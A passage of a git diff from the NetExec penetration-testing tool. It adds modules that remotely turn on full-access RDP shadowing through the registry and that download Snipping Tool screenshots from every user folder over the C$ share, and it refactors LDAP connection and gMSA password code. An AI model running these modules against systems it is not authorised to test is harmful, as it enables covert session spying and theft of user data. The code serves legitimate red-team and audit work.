ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN + + + keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password, + lmhash, nthash, use_ntlmv2) + + # Special case for anonymous login + if user == "" and password == "" and lmhash == "" and nthash == "": + keyExchangeKey = b"\x00" * 16 + + + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: + exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)])) + encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) + else: + encryptedRandomSessionKey = None + exportedSessionKey = keyExchangeKey + + ntlmChallengeResponse["flags"] = responseFlags + ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le") + ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le") + if lmResponse == "": + ntlmChallengeResponse["lanman"] = b"\x00" + else: + ntlmChallengeResponse["lanman"] = lmResponse + ntlmChallengeResponse["ntlm"] = ntResponse + if encryptedRandomSessionKey is not None: + ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey + + return ntlmChallengeResponse, exportedSessionKey \ No newline at end of file diff --git a/nxc/modules/runasppl.py b/nxc/modules/runasppl.py index 917e893c..0520189c 100644 --- a/nxc/modules/runasppl.py +++ b/nxc/modules/runasppl.py @@ -1,5 +1,10 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations +from impacket.dcerpc.v5.rrp import DCERPCSessionError + class NXCModule: + # Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation name = "runasppl" description = "Check if the registry value RunAsPPL is set or not" supported_protocols = ["smb"] @@ -14,10 +19,35 @@ class NXCModule: """""" def on_admin_login(self, context, connection): - command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL" - context.log.debug(f"Executing command: {command}") - p = connection.execute(command, True) - if not p or "The system was unable to find the specified registry key or value" in p: - context.log.debug("Unable to find RunAsPPL Registry Key") - else: - context.log.highlight(p) + try: + remote_ops = RemoteOperations(connection.conn, False) + remote_ops.enableRegistry() + + if remote_ops._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) + reg_handle = ans["phKey"] + ans = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SYSTEM\\CurrentControlSet\\Control\\Lsa" + ) + key_handle = ans["phkResult"] + _ = data = None + try: + _, data = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "RunAsPPL\x00", + ) + except rrp.DCERPCSessionError as e: + context.log.debug(f"RunAsPPL error {e} on host {connection.host}") + + if data is None or data not in [1, 2]: + context.log.highlight("RunAsPPL disabled") + else: + context.log.highlight("RunAsPPL enabled") + + except DCERPCSessionError as e: + context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}") + finally: + remote_ops.finish() diff --git a/nxc/modules/sccm.py b/nxc/modules/sccm.py index de317d74..871617c8 100644 --- a/nxc/modules/sccm.py +++ b/nxc/modules/sccm.py @@ -49,7 +49,7 @@ class NXCModule: """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.""" self.context = context self.connection = connection - self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn + self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn self.sc = ldap.SimplePagedResultsControl() # Basic SCCM enumeration @@ -58,7 +58,7 @@ class NXCModule: search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})" controls = security_descriptor_control(sdflags=0x04) context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=search_filter, attributes=["nTSecurityDescriptor"], sizeLimit=0, @@ -129,7 +129,7 @@ class NXCModule: try: yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))" context.log.display("Searching for SCCM related objects") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=yoinkers, searchBase=self.base_dn, attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], @@ -157,7 +157,7 @@ class NXCModule: try: self.context.log.debug(f"Resolving group members recursively for {dn}") # Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})", attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], ) @@ -176,7 +176,7 @@ class NXCModule: def get_management_points(self): """Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSManagementPoint)", attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"], @@ -199,7 +199,7 @@ class NXCModule: def get_sites(self): """Searches for all SCCM sites in the Active Directory, sorted by site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSSite)", attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"], @@ -244,7 +244,7 @@ class NXCModule: """Tries to resolve a SID and add the dNSHostName to the sccm site list.""" try: self.context.log.debug(f"Resolving SID: {sid}") - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"], @@ -277,7 +277,7 @@ class NXCModule: def dn_to_sid(self, dn) -> str: """Tries to resolve a DN to a SID.""" - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(distinguishedName={dn})", attributes=["sAMAccountName", "objectSid"], diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py new file mode 100644 index 00000000..40ad8120 --- /dev/null +++ b/nxc/modules/shadowrdp.py @@ -0,0 +1,83 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + +# Module by @Defte_ +# Enables or disables shadow RDP +class NXCModule: + name = "shadowrdp" + description = "Enables or disables shadow RDP" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + exit(1) + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + exit(1) + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\" + )["phkResult"] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00" + ) + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("here") + ans = rrp.hBaseRegCreateKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 0 + ) + context.log.highlight("Shadow RDP disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 2 + ) + context.log.highlight("Shadow RDP with full access enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py new file mode 100644 index 00000000..dd8b9fce --- /dev/null +++ b/nxc/modules/snipped.py @@ -0,0 +1,134 @@ +import ntpath +import os +from os.path import join, getsize, exists +from nxc.paths import NXC_PATH + + +class NXCModule: + + name = "snipped" + description = "Downloads screenshots taken by the (new) Snipping Tool." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.context = None + self.module_options = None + self.excluded_files = ["desktop.ini"] + + def options(self, context, module_options): + """USERS: Download only specified user(s); format: -o USERS=user1,user2,user3""" + self.context = context + self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None + + + + def on_admin_login(self, context, connection): + self.context = context + self.connection = connection + self.share = "C$" + + output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots") + os.makedirs(output_base_dir, exist_ok=True) + + context.log.info("Getting all user folders") + try: + user_folders = connection.conn.listPath(self.share, "\\Users\\*") + except Exception as e: + context.log.fail(f"Failed to list user folders: {e}") + return + + context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}") + if not user_folders: + context.log.fail("No User folders found!") + return + else: + context.log.info("Attempting to download screenshots if they exist.") + + total_files_downloaded = 0 + host_output_path = None + + for user_folder in user_folders: + folder_name = user_folder.get_longname() + if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]: + normalized_name = folder_name.lower() + if self.users and normalized_name not in self.users: + continue + + context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory") + screenshots_folders = self.find_screenshots_folders(folder_name) + if not screenshots_folders: + context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.") + continue + + for screenshot_path in screenshots_folders: + try: + screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*") + except Exception as e: + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") + continue + + if not screenshot_files: + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") + continue + + user_output_dir = join(output_base_dir, connection.host) + os.makedirs(user_output_dir, exist_ok=True) + host_output_path = user_output_dir + + for file in screenshot_files: + if not file.is_directory(): + remote_file_name = file.get_longname() + + if remote_file_name.lower() in self.excluded_files: + context.log.debug(f"Excluding file {remote_file_name}.") + continue + + remote_file_path = ntpath.join(screenshot_path, remote_file_name) + sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_") + local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}" + local_file_path = join(user_output_dir, local_file_name) + + try: + with open(local_file_path, "wb") as local_file: + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") + connection.conn.getFile(self.share, remote_file_path, local_file.write) + + if not exists(local_file_path): + context.log.fail(f"Downloaded file '{local_file_path}' does not exist.") + continue + + file_size = getsize(local_file_path) + if file_size == 0: + context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.") + os.remove(local_file_path) + else: + total_files_downloaded += 1 + except Exception as e: + context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}") + + if total_files_downloaded > 0 and host_output_path: + context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") + + + def find_screenshots_folders(self, user_folder_name): + """ + Dynamically searches for all Screenshots folders in the user's home directory. + Returns a list of paths. + """ + base_path = ntpath.normpath(join(r"Users", user_folder_name)) + screenshots_folders = [] + try: + subfolders = self.connection.conn.listPath(self.share, base_path + "\\*") + for subfolder in subfolders: + if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]: + potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots") + try: + if self.connection.conn.listPath(self.share, potential_path + "\\*"): + screenshots_folders.append(potential_path) + except Exception: + continue + except Exception as e: + self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}") + return screenshots_folders diff --git a/nxc/modules/subnets.py b/nxc/modules/subnets.py index 0f2001d0..d19f40c2 100644 --- a/nxc/modules/subnets.py +++ b/nxc/modules/subnets.py @@ -42,12 +42,12 @@ class NXCModule: multiple_hosts = False def on_login(self, context, connection): - dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn context.log.display("Getting the Sites and Subnets from domain") try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=f"CN=Configuration,{dn}", searchFilter="(objectClass=site)", attributes=["distinguishedName", "name", "description"], @@ -68,7 +68,7 @@ class NXCModule: site_description = site["description"] # Getting subnets of this site - list_subnets = connection.ldapConnection.search( + list_subnets = connection.ldap_connection.search( searchBase=f"CN=Sites,CN=Configuration,{dn}", searchFilter=f"(siteObject={site_dn})", attributes=["distinguishedName", "name"], @@ -86,7 +86,7 @@ class NXCModule: if self.showservers: # Getting machines in these subnets - list_servers = connection.ldapConnection.search( + list_servers = connection.ldap_connection.search( searchBase=site_dn, searchFilter="(objectClass=server)", attributes=["cn"], diff --git a/nxc/modules/user-desc.py b/nxc/modules/user-desc.py index 88d998ba..47d6e574 100644 --- a/nxc/modules/user-desc.py +++ b/nxc/modules/user-desc.py @@ -71,12 +71,12 @@ class NXCModule: Users can specify additional LDAP filters that are applied to the query. """ self.context = context - self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S")) + self.create_log_file(connection.target, datetime.now().strftime("%Y%m%d_%H%M%S")) context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'") try: sc = ldap.SimplePagedResultsControl() - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=self.search_filter, attributes=["sAMAccountName", "description"], sizeLimit=0, diff --git a/nxc/modules/whoami.py b/nxc/modules/whoami.py index f49d281d..c33bf329 100644 --- a/nxc/modules/whoami.py +++ b/nxc/modules/whoami.py @@ -17,13 +17,13 @@ class NXCModule: self.username = module_options["USER"] def on_login(self, context, connection): - searchBase = connection.ldapConnection._baseDN + searchBase = connection.ldap_connection._baseDN searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})" context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter") # Get attributes of provided user - r = connection.ldapConnection.search( + r = connection.ldap_connection.search( searchBase=searchBase, searchFilter=searchFilter, attributes=[ diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index ed1fca40..16c10c4a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -13,8 +13,6 @@ from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD -from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.samr import ( UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, @@ -22,7 +20,6 @@ from impacket.dcerpc.v5.samr import ( UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, UF_SERVER_TRUST_ACCOUNT, ) -from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.types import Principal, KerberosException @@ -30,8 +27,8 @@ from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError -from impacket.smb import SMB_DIALECT -from impacket.smbconnection import SMBConnection, SessionError +from impacket.smbconnection import SessionError +from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection @@ -42,6 +39,7 @@ from nxc.protocols.ldap.bloodhound import BloodHound from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes +from nxc.helpers.ntlm_parser import parse_challenge ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", @@ -136,7 +134,7 @@ class ldap(connection): self.server_os = None self.os_arch = 0 self.hash = None - self.ldapConnection = None + self.ldap_connection = None self.lmhash = "" self.nthash = "" self.baseDN = "" @@ -163,15 +161,15 @@ class ldap(connection): } ) - def get_ldap_info(self, host): + def create_conn_obj(self): try: proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" - ldap_url = f"{proto}://{host}" + ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: - ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) - if ldap_connection: - self.logger.debug(f"ldap_connection: {ldap_connection}") + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + if self.ldap_connection: + self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: if proto == "ldaps": self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}") @@ -179,9 +177,9 @@ class ldap(connection): self.logger.fail("Even if the port is open, LDAPS may not be configured") else: self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}") - exit(1) + return False - resp = ldap_connection.search( + resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["defaultNamingContext", "dnsHostName"], sizeLimit=0, @@ -208,42 +206,18 @@ class ldap(connection): self.logger.debug("Exception:", exc_info=True) self.logger.info(f"Skipping item, cannot process due to error {e}") except OSError: - return [None, None, None] + return False self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") - return [target, target_domain, base_dn] - - def get_os_arch(self): - try: - string_binding = rf"ncacn_ip_tcp:{self.host}[135]" - transport = DCERPCTransportFactory(string_binding) - transport.setRemoteHost(self.host) - transport.set_connect_timeout(5) - dce = transport.get_dce_rpc() - if self.args.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.connect() - try: - dce.bind( - MSRPC_UUID_PORTMAP, - transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), - ) - except DCERPCException as e: - if str(e).find("syntaxes_not_supported") >= 0: - dce.disconnect() - return 32 - else: - dce.disconnect() - return 64 - except Exception as e: - self.logger.fail(f"Error retrieving os arch of {self.host}: {e!s}") - - return 0 + self.target = target + self.targetDomain = target_domain + self.baseDN = base_dn + return True def get_ldap_username(self): extended_request = ldapasn1_impacket.ExtendedRequest() extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami - response = self.ldapConnection.sendReceive(extended_request) + response = self.ldap_connection.sendReceive(extended_request) for message in response: search_result = message["protocolOp"].getComponent() if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): @@ -254,48 +228,28 @@ class ldap(connection): return "" def enum_host_info(self): - self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args - self.hostname = self.target + self.hostname = self.target.split(".")[0].upper() self.remoteName = self.target self.domain = self.targetDomain - # smb no open, specify the domain - if not self.args.no_smb: - self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - try: - self.conn.login("", "") - except BrokenPipeError as e: - self.logger.fail(f"Broken Pipe Error while attempting to login: {e}") - except Exception as e: - if "STATUS_NOT_SUPPORTED" in str(e): - self.no_ntlm = True - if not self.no_ntlm: - self.hostname = self.conn.getServerName() - self.targetDomain = self.domain = self.conn.getServerDNSDomainName() - self.server_os = self.conn.getServerOS() - self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] - self.os_arch = self.get_os_arch() - self.logger.extra["hostname"] = self.hostname + ntlm_challenge = None + bindRequest = ldapasn1_impacket.BindRequest() + bindRequest["version"] = 3 + bindRequest["name"] = "" + negotiate = getNTLMSSPType1() + bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() + try: + response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] + ntlm_challenge = bytes(response["bindResponse"]["matchedDN"]) + except Exception as e: + self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") - if not self.domain: - self.domain = self.hostname - if self.args.domain: - self.domain = self.args.domain - if self.args.local_auth: - self.domain = self.hostname - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" + if ntlm_challenge: + ntlm_info = parse_challenge(ntlm_challenge) + self.server_os = ntlm_info["os_version"] - try: # noqa: SIM105 - # DC's seem to want us to logoff first, windows workstations sometimes reset the connection - self.conn.logoff() - except Exception: - pass - - # Re-connect since we logged off - self.create_conn_obj() - - if not self.kdcHost and self.domain: + if not self.kdcHost and self.domain and self.domain == self.remoteName: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") @@ -304,17 +258,10 @@ class ldap(connection): def print_host_info(self): self.logger.debug("Printing host info for LDAP") - if self.args.no_smb: - self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS" - self.logger.extra["port"] = self.port - self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})') - else: - self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP" - self.logger.extra["port"] = "445" if not self.no_ntlm else "389" - signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) - smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - self.logger.extra["protocol"] = "LDAP" + self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" + self.logger.extra["port"] = self.port + self.logger.extra["hostname"] = self.hostname + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username @@ -355,8 +302,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -400,8 +347,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -457,8 +404,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -478,8 +425,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -543,8 +490,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -564,8 +511,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -594,40 +541,6 @@ class ldap(connection): self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False - def create_smbv1_conn(self): - self.logger.debug("Creating smbv1 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) - self.smbv1 = True - if self.conn: - self.logger.debug("SMBv1 Connection successful") - except OSError as e: - if str(e).find("Connection reset by peer") != -1: - self.logger.debug(f"SMBv1 might be disabled on {self.host}") - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") - return False - return True - - def create_smbv3_conn(self): - self.logger.debug("Creating smbv3 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445) - self.smbv1 = False - if self.conn: - self.logger.debug("SMBv3 Connection successful") - except OSError: - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}") - return False - - return True - - def create_conn_obj(self): - return bool(self.args.no_smb or self.create_smbv1_conn() or self.create_smbv3_conn()) - def get_sid(self): self.logger.highlight(f"Domain SID {self.sid_domain}") @@ -692,12 +605,12 @@ class ldap(connection): def search(self, searchFilter, attributes, sizeLimit=0) -> list: try: - if self.ldapConnection: + if self.ldap_connection: self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) - return self.ldapConnection.search( + return self.ldap_connection.search( searchBase=self.baseDN, searchFilter=searchFilter, attributes=attributes, @@ -1272,7 +1185,7 @@ class ldap(connection): searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" try: self.logger.debug(f"Search Filter={searchFilter}") - resp = self.ldapConnection.search( + resp = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=searchFilter, attributes=[ @@ -1400,7 +1313,7 @@ class ldap(connection): def gmsa(self): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=[ @@ -1453,7 +1366,7 @@ class ldap(connection): else: # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], @@ -1483,7 +1396,7 @@ class ldap(connection): gmsa_pass = gmsa[1] # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 5c74089f..34fc22ce 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -5,7 +5,6 @@ def proto_args(parser, parents): ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone) ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port") - ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection") 